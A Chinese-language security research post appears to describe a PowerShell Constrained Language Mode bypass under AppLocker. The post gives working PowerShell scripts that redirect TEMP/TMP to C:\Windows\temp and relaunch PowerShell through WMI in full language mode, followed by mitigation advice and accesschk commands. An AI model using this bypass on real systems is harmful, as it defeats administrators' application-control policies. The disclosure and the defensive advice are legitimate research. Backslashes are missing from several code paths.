一、前言
我曾深入分析過AppLocker,想從中找到繞過PowerShell約束語言模式(Constrained Language Mode,CLM)的方法,本文介紹了我在該過程中發現的一種技術。我已將該問題反饋至微軟,但對方并不想為此提供服務方案,不認為該問題滿足解決標準。
二、問題背景
我在觀察PowerShell啟動的事件日志時發現了這種方法,我注意到PowerShell在啟動時總會觸發兩個警告,聲稱程序無法執行:
該警告涉及到一個.PSM1
文件以及一個.PS1
文件,這些文件名隨機生成,滿足如下模式:
__PSSCRIPTPOLICYTEST_<8個隨機字符>.<3個隨機字符>.PS1
__PSSCRIPTPOLICYTEST_<8個隨機字符>.<3個隨機字符>.PSM1
當我們觀察警告日志,可以注意到系統嘗試在用戶的%temp%
目錄中執行這些文件,當然AppLocker會限制這種行為,除非我們主動定義例外才能放行。
我捕捉到了這些文件,以便分析文件內容。采用如下一個簡單的PowerShell循環腳本即可捕捉這些文件:
while($true)
{
Copy-Item -Path $("$env:temp*.ps*") -Destination C:temp
}
文件內容如下所示(兩個文件的內容一致):
略微思考如何繞過執行限制后,我想到了一種方法,那就是我們可以預先創建所有可能存在的.PS1
及.PSM1
文件,然后使用硬鏈接(hardlink)方法將其鏈接到允許執行的某個位置。然而這個過程會創建海量的文件,因此我很快就放棄了這種方法。隨后我想到,也許PowerShell會從用戶環境變量中讀取臨時目錄的值,事實證明我的猜測非常正確。
三、繞過方法
由于我們可以修改注冊表中HKCU\Environment
下%TEMP%
以及%TMP%
的值,因此我決定先嘗試這個方法。操作起來非常簡單,只需要打開注冊表編輯器,修改這些值即可。在測試中,我使用的是默認的AppLocker規則,這些規則允許執行來自C:\Windows\*
目錄下的腳本,因此我決定將%TEMP%
以及%TMP%
指向c:\windows\temp
,因為用戶具備該目錄的寫權限。請注意,如果用戶具備某個路徑的寫權限,而該路徑中的腳本又可以執行,那么用戶就可以將自己的PS1腳本放到該目錄中,然后在完整語言模式(Full Language Mode)中執行該腳本。
修改注冊表鍵值后,我打開了一個新的PowerShell窗口。令人驚訝的是,程序并沒有使用新的環境變量值。
Google搜索一番后,我發現我們可以將Start-Process
與-UseNewEnvironment
參數搭配使用。這種方法適用于大多數進程,但遺憾的是PowerShell無法以這種方式啟動,會快速彈出窗口然后關閉,因此我們又回到了問題的起點。
經過若干次實驗后,我想到我們可以使用WMIC來啟動進程,并且我們也可以在PowerShell中使用WMI命令。我決定試一下這種方法,結果的確行之有效,最終我構造的腳本如下所示:
$CurrTemp = $env:temp
$CurrTmp = $env:tmp
$TEMPBypassPath = "C:windowstemp"
$TMPBypassPath = "C:windowstemp"
Set-ItemProperty -Path 'hkcu:Environment' -Name Tmp -Value "$TEMPBypassPath"
Set-ItemProperty -Path 'hkcu:Environment' -Name Temp -Value "$TMPBypassPath"
Invoke-WmiMethod -Class win32_process -Name create -ArgumentList "powershell"
sleep 5
#Set it back
Set-ItemProperty -Path 'hkcu:Environment' -Name Tmp -Value $CurrTmp
Set-ItemProperty -Path 'hkcu:Environment' -Name Temp -Value $CurrTemp
上述代碼中最為關鍵的是Invoke-WmiMethod -Class win32_process -Name create -ArgumentList “powershell”
這條命令。當該腳本從CLM模式中啟動時,會啟動具備完整語言模式的新的PowerShell窗口,整個運行過程如下圖所示:
我發現這種方法非常酷,因此決定將其集成到我的PowerAL項目中的一個函數(PowerAppLocker)。
在函數編寫過程中,我發現還有一種更好的方法,可以不修改用戶的環境變量,這里應該感謝Matt Graeber撰寫的精彩文章。
在那篇文章中,Matt Graeber介紹了如何從Win32_Process
類中啟動一個進程,并且使用我們自定義的環境變量,而這正是我所需要的技術。
我編寫的原始函數代碼如下所示(該代碼是PowerAL模塊的一部分,大家可以訪問Github頁面獲取完整代碼):
#Path to Powershell
$CMDLine = "$PSHOMEpowershell.exe"
#Getting existing env vars
[String[]] $EnvVarsExceptTemp = Get-ChildItem Env:* -Exclude "TEMP","TMP"| % { "$($_.Name)=$($_.Value)" }
#Custom TEMP and TMP
$TEMPBypassPath = "Temp=C:windowstemp"
$TMPBypassPath = "TMP=C:windowstemp"
#Add the to the list of vars
$EnvVarsExceptTemp += $TEMPBypassPath
$EnvVarsExceptTemp += $TMPBypassPath
#Define the start params
$StartParamProperties = @{ EnvironmentVariables = $EnvVarsExceptTemp }
$StartParams = New-CimInstance -ClassName Win32_ProcessStartup -ClientOnly -Property $StartParamProperties
#Start a new powershell using the new params
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
CommandLine = $CMDLine
ProcessStartupInformation = $StartParams
}
四、緩解措施
如何避免攻擊者利用這種方法?我們必須定義特定的腳本規則,禁止腳本從用戶具備寫權限的目錄中運行。這意味著如果我們允許c:\windows\*
目錄,那么需要排除掉其中用戶可寫的目錄,如C:\windows\temp
或者C:\windows\tracing
。大家可以使用Accesschk
來獲取用戶具備寫權限的所有目錄列表,我也提供了一個批處理腳本,可以幫助大家發現可寫的目錄:
accesschk -w -s -q -u Users "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u Everyone "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u "Authenticated Users" "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u Interactive "C:Program Files" >> programfiles.txt
accesschk -w -s -q -u Users "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Everyone "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u "Authenticated Users" "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Interactive "C:Program Files (x86)" >> programfilesx86.txt
accesschk -w -s -q -u Users "C:Windows" >> windows.txt
accesschk -w -s -q -u Everyone "C:Windows" >> windows.txt
accesschk -w -s -q -u "Authenticated Users" "C:Windows" >> windows.txt
accesschk -w -s -q -u Interactive "C:Windows" >> windows.txt
整個過程就這么簡單,歡迎大家給出意見及建議。